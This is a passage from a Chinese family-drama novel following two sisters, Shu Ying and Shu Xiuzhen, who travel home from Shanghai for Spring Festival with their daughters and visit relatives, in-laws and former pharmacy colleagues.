有时候舒秀珍不回家吃饭,黄姐在家做好饭后还会把饭菜端到楼下让贝贝在楼下跟谷雨一块儿吃。 舒英说不用单做,直接带着她下来吃就行,贝贝是她亲外甥女,一顿饭还能喂不起吗?舒秀珍一开始还想坚持,觉得就是亲姐妹,也都有各自的小家,太麻烦了也不好,后来也是觉得这样子折腾,自己不回来吃的时候就没再让黄姐单做了。 不过她虽然没让黄姐单独把贝贝的饭做出来,却会在买米面粮油这些的时候买两份,一份送到楼下给舒英,舒英也随她,她心里怎么舒坦怎么来。 元旦过完,离过年也就不远了。 他们今年都在沪市,老家早早就打电话来问,大概什么时候回去。 舒英和李固言过年肯定是要回去的,不过也不是说什么时候回去就能什么时候回去,还得看什么时候放假,他们俩一个比一个忙,李固言想着明年就出来单干,现在已经有点头绪了,所以忙完罗厂长厂里的事后还得去忙自己的私事,每天也是没一点空。 舒英临近期末,有的课要写期末论文,有的课要 考试,也是晕头转向的,这段时间都没怎么陪谷雨,小家伙都要有意见了。 舒英这时候都庆幸,幸好赵姐能干,家里的里里外外都被赵姐操持着,出不了一点儿差错。 临近年底了,舒秀珍也忙,她拉业务的,一到各种节日里就加倍忙,得给客户送礼啊应酬啊这些,天天都忙到半晚上才回来,有的时候还一身酒气。 大人一忙,两个小孩就显得有点可怜,这种时候舒英和舒秀珍都庆幸,幸好当初房子买到一块儿去了,两个小家伙没有大人陪着的时候,还能互相陪着一块儿玩,不至于那么孤零零的。 等舒英和李固言确定了放假时间后,就想着要提前去火车站买票,春运的票难抢,买完了说不定就买不到了。 买票前,舒英问舒秀珍:“你今年过年还不回去吗?” 舒秀珍去年没回去,舒爸好一通脾气,舒妈心里也不得劲,她去年想的是今年不回去,不过前段时间舒妈打了好几个电话过来,回回都在催她回去,说太长时间没见到外甥女了,她想外甥女了。 “回吧回吧。”舒秀珍有些慵懒地瘫坐在沙发上,单手支着头。 舒家的兄弟姐妹四个就没有丑的,她现在年岁慢慢上来,年少时的泼辣一点点隐去,常年游走于职场带来的气定神闲逐渐浮上来,使得她的气质越发具有成熟的韵味。 “行,那到时候咱们一起去买票。” “不用。”舒秀珍淡淡道,“回头我找人给咱们定几张卧铺。” 沪市能人向来不少,她这两年更是结识了不少人,买几张火车票而已,两句话的事儿,省得去车站挤了。 舒英点头,说:“那我们家得四张票,固萱也跟咱们一起回去。” “行。”舒秀珍也熟悉李固萱,只是她比她大许多,平时交往不多而已,不过她当年生孩子没少麻烦李固萍,所以她跟李家的关系并不只是李家是她妹妹的夫家这么简单。 说完她又问:“你跟爸妈怎么样了?” 年头舒英跟舒爸舒妈大吵一架的事,舒妈没少打电话跟她哭,有时候哭急了就在电话里骂她们姐妹俩都是白眼狼,一个揪着离婚的事儿不放,一个又记恨小时候的事儿。 舒英来了沪市后,她估计着她不想说,也就没怎么问过。 舒英笑了下:“还能怎么样,就那样呗。”一开始就说了,亲爸亲妈,这年头,能有几家父母是不偏心的,他们生了她养了她,也没像其他父母一样压榨她,小时候的事过去就过去了,就算想起来还觉得不开心,也没必要一直拉着不放,体面的大人不能还像小孩子那样随时大哭大喊,都是默契地当一切都没发生过。 反正现在就是平时也会打个电话聊一下家常,以后该负的责任该担的义务她也不会推脱,只是要她像谷雨对她和李固言一样对舒爸舒妈,那是不可能的事。 舒秀珍默了一瞬,没再说什么,也没什么好说的。 舒英换了个话题道:“我听说严磊已经再娶了?”听舒妈说的,说严磊新娶的老婆肚子都多大了,严磊家速度快得很,跟舒秀珍离婚没多久就立马相亲认识了新人,说新人还是个头婚呢! 也不知道怎么看上他一个二婚的,不过说实在话,他家是城里的,长得也端正,父母双职工,还有自己的房子,就算是二婚,条件在男性当中也算是不错的,所以有小姑娘能看上他倒也不足为奇。 “可能吧,我不知道。” 舒秀珍甫一听到严磊的名字还有些恍惚,感觉那些事情都是上辈子发生的了,自从她给贝贝换了户口改了名后,又带着贝贝来沪市,对严家就一点消息都没有,平时老家的人来电话也都顾忌着,从没跟她提过严磊的现状,她也不关心,她自己都忙得跟头驴一样,也没时间去关心他的屁事。 不过经舒英这么一提,她才想起来,好像自从离了婚之后,贝贝的抚养费严磊一次也没给过。 没给就没给吧,她也不缺那仨瓜俩枣的,不过严磊没给钱,最好就有点自知之明,一辈子都不要出现在她闺女面前才好。 舒英看她浑不在意的神色就知道她是真的放下了,也就不再说,端起杯子喝口水。 不过舒秀珍这两年虽然没提再婚的事儿,但她是有男朋友的,甚至应该都换了好几个了,只是没带到他们面前过。 舒英有时候担心,还问过她是怎么打算的。 舒秀珍说:“我是不打算再婚的,也不打算再整个生命出来,所谓男朋友也就是各取所需,不会带到贝贝面前。”她现在事业有成,孩子也这么大了,没必要再去结什么婚,就找年轻的长得好看的男朋友各取所需是最简单的解决方法。 其实只要不带到贝贝面前,别让她多想,其他的都无所谓,舒英现在跟贝贝在一块儿的时间长,可能贝贝从小经历得多,所以能看出来她没有谷雨开朗,有时候还有点敏感,相较于谷雨多了好几分不属于她这个年龄段的懂事。 舒英自己从小就是家里最懂事的孩子,最知道这种性格的小孩活得多辛苦,贝贝还小的时候就被说像她,可能真的有点像,所以她有时候忍不住就会对她产生怜爱,想让她跟谷雨一样天不怕地不怕,想说什么说什么。 舒英见舒秀珍心中有计较,也就不再多说。 第62章 第 62 章 春运回家 赵姐帮着舒英打包行李, 该收拾的大头昨天晚上就都收拾好了,剩下的这些再装一装,明天早上就能去坐火车了。 她们收拾的时候, 谷雨跟贝贝俩正窝在沙发上看动画片, 谷雨最喜欢《黑猫警长》,但也不知道为什么她还有点怕这个动画片,有时候边看边一惊一乍, 不让她看她又有点不乐意。 舒英将包裹拉链拉上,对着她俩道:“不要一直盯着电视看,对眼睛不好,走, 我带你俩到楼下转转。” 两人眼睛都快粘在电视上了,听到这话应了声,但就是没见动作。 舒英觉得好笑,直接上前去把电视关掉, 站在两个小朋友面前叉着腰说:“走吧?” 两人从动画片的世界里回神, 看了看她,嬉皮笑脸的, 快速地从沙发上爬下来。 外面比屋里冷, 出去就得穿厚一点,舒英给她俩换了厚棉袄,又给套上套袖,省得玩儿疯了把衣服弄脏不好洗。 越临近过年, 在沪市务工的外地人越少,导致好多店铺都关掉了,小区里住得好多也都是外地人,下了楼后明显感觉到冷清, 平时小孩子们争着抢着的游乐设施,现在都没什么人。 舒英带着谷雨过去,俩人一看到跷跷板连忙就小跑起来,动作十分灵活的坐上去。 舒英看着她们玩,自己找了个长椅坐下。 现在正是深冬,空气凌冽,说话都冒白雾,虽然沪市相比于老家温度要高点,大多数时候气温都在零上,但也够冷的了。 她俩在那边玩的时候,舒英时刻都注意着,生怕有点磕磕碰碰。 过年黄姐也要回老家,赵姐不回去,所以赵姐就留在沪市看家,太阳好的时候还能把柜子里的被子拿出来晒晒,沪市空气潮湿,衣服被子不晒一晒,特别容易发霉。 第二天一早,一大群人招了两辆出租车去火车站,李固言跟李固萱坐一辆,舒英和舒秀珍带着俩孩子坐一辆。 舒秀珍看着窗外道:“今年买了房,等来年争取买辆车,这过年开车回老家不比挤火车回去舒服?” 舒英笑着点头:“那你快点买,你买了我也能蹭一蹭。” “没出息。”舒秀珍瞥她一眼,“光想着蹭车,怎么不想着明年你们家也买一辆?我看李固言现在不也干得如火如荼吗?” “哪啊,他明年就想单干呢,最近一有时间就出去看有没有合适的厂房,我们家想明 年买车恐怕是有点困难。” 舒秀珍对她家的打算了解的不算多清楚,点点头笑说:“行吧,到时候让你蹭,使劲蹭。” 正是春运的时候,不知道多少在外打拼的行人就等着过年能回家团圆,车站人群拥挤,摩肩接踵,带着小孩的都紧紧攥着孩子的手,甚至拿绳子系在身上,生怕被人群给冲散了,人多,冲散了可不好找。 幸而他们是一块儿回去,四个大人顾两个孩子,还能顾得过来,也没敢把孩子放在地上走,都是牢牢抱在怀里,直到上了火车,到了自己的车厢里才敢松一口气。 两个小孩子也没怎么见过这种场面,进了车厢还紧紧抱着妈妈的脖子不敢撒手。 火车上有热水,李固言从包里拿出水杯说:“我去接点热水给她俩泡点奶喝。” 舒英点头。 舒秀珍托人买的软卧,门一拉,一个包厢正好他们四个大人外带俩小孩,没有旁人。 不一会儿,李固言回来,一人泡了杯奶粉,包厢里都是自己人,又喝到了奶粉,两个孩子又放松下来。 火车上的时间是很长的,得哐当哐当一整个白天才能到安城,白天也不是很困,几人特意带了副扑克牌过来,就想着在火车上打发时间用的。 玩玩闹闹间天色慢慢暗下来。 李固言看着窗外逐渐变得熟悉的景色道:“收拾收拾东西吧,马上到家了。” 他们没提前让家里人来接,这大晚上的,火车站人龙混杂,过来接反而不安全。 出了火车站,舒秀珍要去招待所开房间,她跟贝贝现在在安城是没有房子住的,舒家总共就俩卧室,俩老人一间,舒文佑王梅一间,哪还有她的地方?这也是她不乐意回来的原因,又没有落脚点,回来干嘛?寄人篱下受气吗? 要是以前可能还乐意在客厅里凑合凑合,反正也待不了几天,但她现在好日子过惯了,而且就算是她还能忍着凑合,也不愿意让贝贝跟着她一快儿受苦。 舒英道:“今天就先别在外面住了,现在太晚了,就是去找招待所也不太安全,你今天先去我们那跟固萱挤一晚上,明天再去开房间。” 李固萱也说:“我房间床大,我姐没嫁人前,都是我俩睡一张床的,再加个贝贝也完全睡得下。” 舒秀珍看了眼打哈欠的贝贝,也不忍心再大晚上带着她折腾,索性点头答应:“那行,今晚就先辛苦你跟我们娘俩挤一挤了。” “这有什么,贝贝香香软软的,跟她睡一张床,我得高兴好几天。”李固萱笑起来,又低下头问贝贝,“贝贝,你愿不愿意跟小姑睡呀?” 贝贝乖乖看了她一眼,又扭头看了看妈妈,点点头回道:“愿意。” 俩孩子都又困又累,几人也不在这多说,赶紧拦了车回去。 李爸李妈知道他们今晚上回来,就是不知道具体是几点能到,现在春运,火车晚点跟家常便饭一样,厉害点儿的一晚能晚好几个小时。 他俩怕他们在火车上吃不好,特意做了满满一桌子菜等着,怕凉都没赶上桌,炒好就一直放锅里温着,等他们什么时候会来到什么时候吃。 两人平时七八点就上床了,今天愣是快九点还在沙发上坐着,客厅里电视放着,李妈看得三心二意的,耳朵都放在楼下的声音上,时不时还困得打个哈欠。 李爸也戴着老花镜坐在那看报纸,一张报纸翻来覆去地看,都看了好几遍了。 李妈听着他报纸翻页的声音觉得烦,道:“你能不能安生点,这报纸看几遍了都,吵得我心慌。” 李爸从老花镜上方看向她,又抬头看了眼墙上的表:“这么晚了,怎么还没回来到,火车不会又晚点了吧?真是,这一到过年,路上人多车多,没个准点儿的时候。” “行了,你别嘟囔了,天天就废话多,你上锅里看看菜凉了没,要是凉了就在加点水蒸一蒸。” 孩子们都不怎么在身边,老两口天天大眼对小眼的,谁看谁不顺眼,李爸把报纸放桌上,又把老花镜也拿下来,起身就要去厨房。 就在这时,楼道传来声响。 李爸李妈都听见了,停下动作面面相觑,李妈道:“是不是回来了?这个点儿平时大家早睡了,肯定是他们回来了,你愣着干啥,去开门看看啊!” 刚刚还让他去厨房看菜凉没凉,现在又嫌他不去开门,李爸也不太开心,但到底也是觉得这声音是孩子们回来了,脚步一转走到门前,把门拉开往楼道里看。 李妈也过来,楼道里黑漆漆的,他们这门口的灯前段时间坏了,还一直没修,她抬头看了眼灯泡,想着回头让老头子给换一个,省得关键时候不顶用。 俩人侧耳听着下面的声响。 听着听着李妈突然笑起来说:“就是他们,就是他们!我都听见固萱的声音了。” 说完也没顾得上没换鞋,出了门就要往下迎迎,李爸也连忙跟在后面,生怕落后两步。 还没等他们下几个楼梯,下面的人就上来了,正好迎个面。 李固萱仰头看着他们:“爸妈,你们怎么下来了?” 李爸李妈赶忙就要接过孩子们手里的东西,被他们躲开。 李妈脸上笑开了花:“这不是听见你们的声音了吗?怎么样,坐火车累不累?饿了吧?锅里正给你们热着菜呢,马上就能吃。哎呦,奶奶的心肝小谷雨,想不想奶奶啊?来奶奶牵着上去。” 她话瞬间密集起来,让人接不上腔,但任谁都能从她的话音里面听出她的高兴来。 一群人上了楼,进了屋,李爸李妈怕他们夜里回来冷,早早就在屋里烧了小火炉,比外面暖烘烘的,几人把带回来的行李随后放在地上,李爸李妈赶忙把锅里的菜都端出来,招呼着他们吃饭。 “沪市吃米多,我昨天特意蒸了一锅大馒头,一锅花卷,就想着你们肯定想这一口了,回到家就能吃上。”这么晚了,李妈是不吃东西的,年龄大了,消化不好,吃多了积食,夜里睡不着,但她跟李爸一块儿也坐在旁边,笑眯眯地看着他们吃,还要拿了筷子不停地给他们夹着菜,生怕他们少吃一点,“多吃点多吃点,都是自家人,秀珍你别跟我们客气,可千万要吃饱了!贝贝怎么不吃呀,是不是困了呀?” “阿姨你这手艺真好,这馒头比外面买的还好吃。”舒秀珍笑起来,又说贝贝,“车上给她喝了奶粉了,现在还不太饿。” 李妈:“我床都铺好了,被子也都是才晒过的,又煊软又暖和,你们吃,我带俩孩子洗把脸,让她们俩先睡吧,一个个瞧着都没什么精神,坐一整天的火车肯定累得不行了。” 舒英点头,放心地让她带谷雨去洗漱,舒秀珍还有些客气,说:“没事阿姨,我带她洗就行。” “我现在也没什么事,你们吃你们的,我给俩孩子简单洗洗。” 她这样说,舒秀珍也不好再拒绝,拒绝多了反而显得她像是嫌弃一样,笑起来说:“哎!那真是麻烦您了。” 李妈摆摆手:“这有什么。”说着从椅子上起身,一手牵一个孩子过去。 其实大晚上的,几个人都不怎么饿,他们在火车上吃过晚饭了,但李爸李妈做了这么一桌子,又殷切地看着他们,不吃实在说不过去,俩孩子上床睡觉后,几人劝着李爸李妈别跟着他们熬了,也回去睡觉。 两人平时没这么晚睡过,也是真困了,“行,那我们就先睡了,你们吃完就去睡,碗就放桌子上就行,明天也不用那么早起来,什么时候睡醒什么时候起。” 几人笑着答应,但吃完饭后该洗碗洗碗,该擦桌子擦桌子,年轻力壮的,总不能真把这点活留着过夜,让老人们给他们收拾残局。 都收拾完后,舒英伸了个懒腰,看着客厅里带回来东西,刚才李爸李妈还想着要帮他们收拾,被李固言劝住了。 几人把东西分了分,谁的拿到谁房间里,省得晚上犯懒没收拾,明天早上李妈起来给他们整理了。 吃饱喝足又有 点儿困,谷雨缩在厚厚的被子里睡得正香,就漏了一张小脸在外面,舒英温柔地在她脸上亲了下,把她抱起来往床中间放了放,自己躺到了里面靠墙。 李固言是个勤快人,没办法任由这些大包小包地随意堆在地上安然睡觉,他一样一样地把东西拿出来安置,整理有序,等一切弄好后活动活动胳膊,也脱了衣服上床。 第二天,阳光照进房间,舒英迷迷糊糊动了动,没有睁开眼,能听见外面悉悉索索的声音,还有李爸李妈的小声说话声,隔着房门透进来,听不太真切。 舒英眼睛张开,入目的是闺女可爱的小脸,眼睛闭着,长而浓密的睫毛微微卷曲,小鼻子精致又有点上翘,鼻翼因呼吸而一耸一耸的,身上散发着奶香味,她笑了笑,控制不住似的用力搂了搂她,好悬没把她吵醒。 李固言也在这时候醒来,眼睛半眯着,皱着眉问:“几点了?”声音沙哑。 安城要比沪市干燥,猛一回来,倒还有点不适应了。 舒英看看窗外的天色道:“约莫着九点多了吧。”手表在他那边的床头柜上,她也不知道具体时间。 李固言两条胳膊伸出被子挣了个懒腰,又安静躺了一小会儿,眼睛失神地盯着天花板眨了眨,接着就思绪回笼,小心从床上起来,注意着没吵到谷雨。 舒英也睡得差不多了,跟他一块儿起来。 两人穿好衣服后出去洗漱,李固萱和舒秀珍还没起。 李妈看见他俩说:“行啦,还早呢,怎么不多睡会儿?锅里有早饭,你们自己拿着吃,你爸一大早出去买的包子烧饼,就想着等你们起来吃。” 舒英笑起来:“谢谢妈。” 两人吃着早饭,李固萱的房间门也打开,三个人从里面出来,贝贝睡了一整夜,现在精神满满,问:“谷雨呢?” 舒英指了指房间门笑道:“还睡着呢,你去把她叫醒吧。” 贝贝当即噔噔磴跑进房间,又爬到床上去推谷雨。 “起来了!起来吃早饭了!” 舒英怕她闹起床气,放下手里的包子,也跟着进来。 谷雨睡眼惺忪地坐着,头发又是乱蓬蓬的一团,怎么看怎么可爱,像个小福娃,小福娃呆呆地张嘴打了个哈欠,打完哈欠后,才回魂似的看见妈妈,咧着嘴笑起来:“妈妈!” 舒英笑着:“妈妈给你穿衣服,咱们去吃包子了,爷爷特地给你买的你最喜欢的肉包子呢。” 吃完饭后,舒秀珍就要带着贝贝去开房。 李妈道:“就在这儿住着就是了,咱家住得下,现在正是过年的时候,住招待所可不便宜呢。” 睡一晚上还行,真留下住着可就是不懂事了,舒秀珍笑了笑:“我倒是想住这儿呢,一早上起来就能吃到这么多好东西,但这里不是离我家远嘛,还是住近点儿才行。” 回来一趟,舒爸舒妈也都盼着呢,就算不住在家里,也得住那附近,李妈说:“那行,那阿姨就不留你了,让小英跟固言帮着把你的东西一块儿送过去,自己拎多麻烦。” “正好小英这才回来,也该回家让亲家看看。” 舒秀珍把自己带回来的礼物拿出来,给二老留了一份,这才跟舒英和李固言拎着包出去。 待会儿开好了房间后得先回舒家一趟。 几人到舒家的时候都没空着手,手里都拎了东西。 舒爸舒妈这会儿都在家呢,一敲门就来开了。 舒妈见是他们,连忙笑起来将人迎进去,舒爸瞧着脸色却还是不好,但到底也没说什么过分的话。 舒文佑和王梅两口子还没放假,这时候还在厂里上班,宝宝在家被爷爷奶奶带着。 三个孩子年龄都没差多少,你大我几个月,我再大她几个月。 不过年龄虽然没差多少,但没在一块儿相处过多久,彼此间都很陌生,而且宝宝又是男孩子,谷雨和贝贝就都不太乐意跟他玩。 舒妈看着舒秀珍手里的东西说:“咋就带了这些过来?你行李呢?妈床给你铺好了,你跟贝贝过年就住家里。” 舒秀珍:“没事妈,家里就这两个房间,本来也不太够住,再加个我跟贝贝就太挤了,我刚才来的时候就在那边儿那个招待所开了个房间,我跟贝贝就住招待所就行。” “这过年回来有家不住,哪儿能住招待所?”舒妈瞅着她轻轻拍了她一下,“待会儿妈跟你一块儿去把那房间退了,就住家里,不刚刚好吗?” 舒秀珍没接腔,说:“武茂闺女也一岁多了吧?我还没见过呢。” “一岁好几个月了,去年九月生的嘛,办满月酒的时候你在沪市也没回来。” “那我这第一次见,可得给包个大红包才行。”她笑起来,随手拿起一个橘子剥起来。 “给过了,不用给,你那时候不让小英一块儿给了一个吗?”舒妈站起身,问,“你们晌午想吃什么?你爸知道你们过来,早上一大早就去菜市场守着,说早上的肉新鲜,割了一大块猪后腿肉,卖肉的说是现杀的呢!” 舒英:“猪后腿做红烧肉好吃。” “行,那就烧红烧肉,你们都喜欢吃,一盘红烧肉能咽两个大馒头!”舒妈边笑边用手比划,“哦对,还买了排骨,看着也好得很,再用萝卜炖个排骨汤,之前王婶儿还跟我说山药炖排骨汤也好喝,就是忘记买了,今天是喝不上了,等下回再给你们炖。” 王梅和舒文佑到了晌午也下工了,食品厂就在旁边,走两步就到家了,他们也都是回家来吃饭。 两人一进门就看见家里这么多人,舒文佑换着鞋笑说:“你们可算是回来了,妈念叨这么长时间了,天天都在说你们啥时候回来。” 舒英跟哥嫂俩打招呼,也笑起来:“厂里怎么样?上午忙不忙?” “忙呀,这临过年,就想着过年吃点好的呢,大家都舍得花钱,厂里快忙疯了,一上午都在线上没下来过。”舒文佑弯腰把扑过来的宝宝抱进怀里,又去逗俩小家伙,“贝贝谷雨,认不认识大舅舅了?” 舒秀珍也笑:“这都多久没见了,那哪儿能认识?” 她也跟王梅笑着点头打招呼,现在大家离得远,一年到头也见不了两回,各自又都有各自的事情忙,而且经历了这么多,孩子都这么大了,以前的那些鸡毛蒜皮也都不怎么在意了,就算在意,又何必非得吵吵嚷嚷的弄得大家都不开心? 两个人不远不淡的,谁也没说以前的事,但也亲近不起来,说不上两句话,总归互相之间面子上过得去就行。 舒妈擦了擦手从厨房出来,赶忙对舒文佑道:“今天难得咱家人这么齐,你下去给武茂打个电话,让他带小容回来吃饭。” 舒文佑刚换了拖鞋,当下应声,又换了鞋下去,去前还问:“贝贝谷雨,要不要跟大舅舅一块儿下去?去小卖部买糖吃。” 一说糖,谷雨就憋不住了,舔着嘴唇看妈妈。 舒英好笑,点点头说:“去吧,好好听大舅舅的话,别乱跑。” “好!”谷雨立马答应,跟贝贝手拉手一块儿出门。 舒文佑带着仨孩子,还有打电话的任务,李固言怕他顾不过来,也穿了衣服跟着一块儿下去,挤在俩孩子中间,一手牵一个。 第63章 第 63 章 “你们现在过得好吗?”…… 二十分钟后, 三个孩子率先跑上来,每个人口袋里都鼓鼓囊囊的,装满了糖果零食, 手里还拿着一些小玩意儿。 谷雨一进屋就扑到妈妈怀里, 把买回来的东西展示给妈妈看。 “哎呀,怎么买了这么多?” 李固言后面进来,听见后说:“进了小卖部跟疯了一样, 见什么都想要,这还是我拦着点了,要不拦着,能把店给你搬回来。” 舒英闻言挑眉, 在谷雨脸上捏了捏:“是这样吗谷雨?” 谷雨嘿嘿笑,两只小手在口袋里掏啊掏啊掏,就是不回答妈妈的问题。 “武茂说过会儿就带弟妹过来,说瑞瑞前段时间又感冒了, 这最近才刚好。”舒 文佑跟舒妈说完后也凑过来道, “小孩儿嘛,正是喜欢吃糖的时候, 等他们像咱们这么大, 给她多少糖,人家都不乐意吃。” 舒妈手里削着红薯,还有点担心小孙女:“也不知道这是咋了,瑞瑞就是肯生病, 三天两头的感冒,真是愁坏人。” 瑞瑞是舒武茂的女儿,叫舒瑞。 舒英安慰她:“小孩子抵抗力差,等再大点就好多了。”说是这样说, 谁家小孩体质差谁都担心,谷雨在这方面就好得多,她病生的就少,天天都跟小牛犊一样,可给她省了不少心。 开饭前,舒武茂和司容带着瑞瑞到了,小姑娘裹得严严实实,就露了两只眼睛在外面,瞧着斯斯文文的,是不是还要轻轻咳两声,看得人心疼。 谷雨和贝贝跟宝宝玩不到一出去,结果瑞瑞一来,两个人都兴奋地围着她打圈,好奇的很。 “小舅妈,她可以吃糖吗?”谷雨从口袋里掏出一个水果糖问。 司容笑着摇头:“妹妹太小了,还不能吃糖呢,等明年你回来,妹妹就可以跟你一块儿吃了。” “好吧。”谷雨也不失望,扒着她的腿盯着瑞瑞瞧。 贝贝:“小舅妈,妹妹长得好漂亮啊。” 司容笑起来,伸手在她们俩脸上摸了下,“你们俩长得也很漂亮。” “咱这一家人就没有丑的,都各有各的美。”舒妈把菜端上桌,听到这话脸上笑眯眯的,“行了,大家都别叙话了,都去洗手过来吃饭吧。” 这么一大群人,一张圆桌坐得有些局促,但挨挨挤挤的倒也显得热闹。 也是孩子现在还小,坐在爸爸妈妈腿上,都还能坐下,等孩子们都大了后,这张桌子可就坐不下了。 饭桌上,大家问起舒英和舒秀珍目前在沪市怎么样。 “现在都说南方遍地是黄金,钱好赚得很,真的假的?” 舒秀珍没忍住笑出声,回道:“沪市机会多是真的,但钱也不是那么好赚的,归根到底还是得有能力,要不然能被人骗得连底裤都不剩。” 舒文佑点头:“也是,要是钱真的那么好赚,那其他地方也没人了,都去那了。” “那小英呢,你那研究生读咋样了?” 舒英:“每天就是上课做实验,也累,很枯燥。” “现在还是有文化的好,像我跟你爸那时候,厂里到处招工,只要你肯干能吃苦,有的是厂要你,现在不行了,现在要是没文化没文凭,那好工作就是轮不到你。”舒妈看着几个孩子,笑起来说,“现在谁家都想让孩子上大学,咱们厂里这几年也出去了好几个大学生了,你们四个现在是要定了型了,往后就得看他们四个的了。” 王梅道:“宝宝现在会背好几首古诗了呢,我以后就盼着他能跟他小姑一样,也给我考个名牌大学回来,最好也念到研究生。” 司容也接腔说:“是啊,我也不求她考个清北回来,能跟小姑一样考上沪大我就烧香念佛了。” 舒英笑了笑,看谷雨吃得菜汁蹭到脸上,拿手帕给她擦了擦,她对谷雨没什么要求,只要她觉得自己做的事情有意义就行。 晚上舒秀珍和贝贝还留在这,舒英和李固言带着谷雨回去。 回去的路上,天上开始飘雪花,舒英有些惊讶:“下雪了?”连忙指给谷雨看。 谷雨小脸贴着玻璃趴上去看,雪花落在车窗,很快又融化。 雪下了一夜,第二天早上起来的时候,外面白茫茫一片,树上、房顶上都是积雪。 谷雨的小脑子里对雪景还没什么印象,乍一看到这景色,兴奋得紧,穿上衣服吃了早饭就喊着要出去玩。 李固萱躺在床上听见她说话,也玩心四起,赶紧起床,衣服穿好不吃饭就要带着她下去。 李固言给闺女把围巾手套帽子都穿戴好,又叮嘱李固萱:“玩的时候注意点,不要让她把这些摘下来,不要一直让她碰雪,把衣服弄湿了冻着了她。”他得帮着李妈做炸货,没空一块儿下去。 李固萱点头:“放心吧,放心吧,不会让她冻着的。” 话音未落就牵着谷雨往外跑,下了两楼后往后看了看,见没追上来扭头对谷雨道:“你爸爸真啰嗦。” “真啰嗦!”谷雨咯咯笑。 李固萱听到她重复瞬间笑出声,在她鼻梁上刮了下,宠溺道:“乖宝宝,比你爸爸可爱多了。” 趁着年前清闲些,舒英带着从沪市买的特产去了趟二院药房,跟老同事们见见面。 她是在中午快下班的点去的,趁着没病人的时候在在拿药窗口敲了敲。 小胡在窗口处坐着,手里写着什么没抬头,问:“单子给我,我给你拿。” 等了会儿没见单子,这才停了笔,抬头看过去,就见舒英站在窗口前,微微笑着看着她。 小胡瞬间瞪大眼,一脸的惊喜,立马站起来问:“姐!你咋来了,你什么时候来的?” “有身子的人了,要稳重点,别吓到了肚里的宝宝。”舒英笑了笑:“我刚到,你待会儿有事吗?没事的话咱一块儿去吃个午饭呀。” “没事,我中午没事。”小胡扶着肚子又轻轻坐下去,也笑。 后面的小于和小莫听见声音也凑过来跟舒英打招呼。 舒英把特产分给他们,也邀请他们中午一块儿去吃饭。 跟他们简单寒暄了两句后,舒英说:“主任在吧?” “应该在办公室呢。” “行,你们把东西分分,一人一份,我去旁边看看主任。” 张主任也没想到她这时候来了,高兴得连忙将人迎进来,问:“放假了?” 舒英笑吟吟的:“是,放寒假了,回来看看您,这是从沪市买的特产,您拿回去尝尝。” “哎呦,这大老远的,难为你有心,还想着给我带特产。”张主任接过箱子,笑起来指着沙发让她坐下,“这重返校园的生活怎么样?” “挺好的,辛苦是辛苦点,但也能学到不少东西。”舒英笑起来,“您知道我现在的导师是谁吗?” “谁?” “章惠然。” “章惠然?”张主任有些惊讶,“是那个章惠然吗?” 舒英点头:“就是那个章惠然。” 章惠然,别人可能不知道,但张主任也是一个药房的主任了,平时也看过不少章惠然主编的书,不可能没听过她。 张主任惊喜地看着她:“哎呀,这真是没想到,你现在竟然是章惠然的学生了,那你可得抓住机会,可不能松懈。” 章惠然在他们这个行业是很有声望的大人物,提起她没人不竖大拇指,是很有人脉和能力的,能成为她的学生,以后的路肯定是错不了的。 “我也没想到能有幸成为她的学生,这大半年跟着她学到了不少东西。” 两人聊了会,舒英邀请他中午一起出去吃饭,还是上次那个饭店。 张主任摇摇头,笑呵呵的:“我就不去了,你们年轻人在一块儿好好聚聚,聊聊天。” 吃饭的时候,舒英问了问药房现状,她离开这半年多,药房变化倒不算大,不过九月份又进了两个实习生,也是安城卫校的,小胡说明年估计也是要留下的,现在药房有点缺人手。 舒英看着小胡鼓起来的肚子笑道:“当初一说谈朋友就脸红的小姑娘马上也要当妈妈了。” 小胡也哈哈笑起来,轻轻拍了下肚子,“谁说不是呢,时间过得真快啊,还记得实习那会儿因为跟宿舍里的人关系不好,宁愿天天坐公交上下班也不愿意住宿舍,现在再让我那样,我是真受不住了,身体受不住,精神上也受不住。” “你那时候才多大,那时候正是精力满满的小姑娘呢,就是熬个大夜,第二天也跟没事人一样。”舒英给她杯子里加了点热水,又说,“但你现在也没多大,也还小呢,是怀孕了,受不得累了,对了,你这个预产期是什么时候?” “差不多在明年农历三月份。”小胡喝了口热水。 “那也快了,知道是男孩女孩吗?”现在怀孕是不让查性别的,但她们跟医生都熟,对她们不像对普通患者一样那 么多顾忌,做检查的时候要是想知道性别,问一句,医生就告诉了,不过她那时候怀谷雨的时候没问,给她检查的医生逗她,问她想不想知道,她都说不想,想要把惊喜留到生产的那一刻。 “还不知道呢,每次检查的时候我都特意说千万别告诉我是男是女。”她笑起来,珠圆玉润的。 “这样也好,反正不管是男孩还是女孩,都是宝贝。” “是,我跟我老公也是这样说的。” 吃完饭后,几个人还得回药房上班,舒英抢先把单买了,在几人不满的眼神中笑道:“行了,你们仨都是我带出来的呢,跟我出来吃饭哪有让你们付钱的道理?好了好了,都回去歇着吧,现在回去还能睡一会儿。” 跟同事们聚完,舒英又找时间带着谷雨去了机械厂家属院的吴嫂子家,以前住在这里的时候吴嫂子没少给他们帮忙,回来一趟,也应该过来看看。 “外面冷,快进来暖和暖和,这安城冬天也不给供暖,屋里不少个火炉子都不行。”吴嫂子赶紧招呼着母女俩进屋,看到舒英手里拎着的东西又拍着腿说,“这怎么还拎着东西过来?” 舒英开玩笑道:“这不是不带着礼,怕嫂子你不让我们进门吗?” “就你嘴巴会说。”吴嫂子笑起来,一阵忙活,给她俩灌了暖水袋让抱着,“谷雨这小手冰凉,喝不喝牛奶?大妈去给你热盒牛奶喝好不好?” 说完还没等舒英答应就从箱子里拿了几瓶牛奶进厨房。 舒英道:“嫂子不用热,她才吃饱!” “没事,捧在手里也暖和。” 舒英无奈地看了一眼懵懂的谷雨,这手上已经抱了一个大暖水袋了,再暖和不过。 吴晓丽笑道:“阿姨,你就让我妈热吧,你今天过来,她开心呢。” 舒英也笑,问她:“这上了大学怎么样?有没有比高中时轻松。” 说起这个吴晓丽就想叹气,“上高中时,大家都说上了大学就好了,上了大学就轻松了,结果我感觉我这个大学上的也是累得很,早出晚归的,整本书整本书的背,也没比高中轻松多少。高中属于那种学校管着你、逼着你学习,大学就是你学不学我不管,老师下了课就走,但你想把老师教的东西都学会,课余时间就都得用在学习上。” 吴嫂子掀开厨房门帘,接腔道:“你再忍忍,毕了业了,工作了就好多了。” 舒英听到这话,忍不住笑起来,高中忍忍,上了大学就好了,大学再忍忍,毕了业了就好了,作为过来人,实际上就是工作了也不见就轻松到哪儿去了,一年到头放不了多少假,上学好歹还有个寒暑假呢。 “我记得你学的是临床医学吧?” 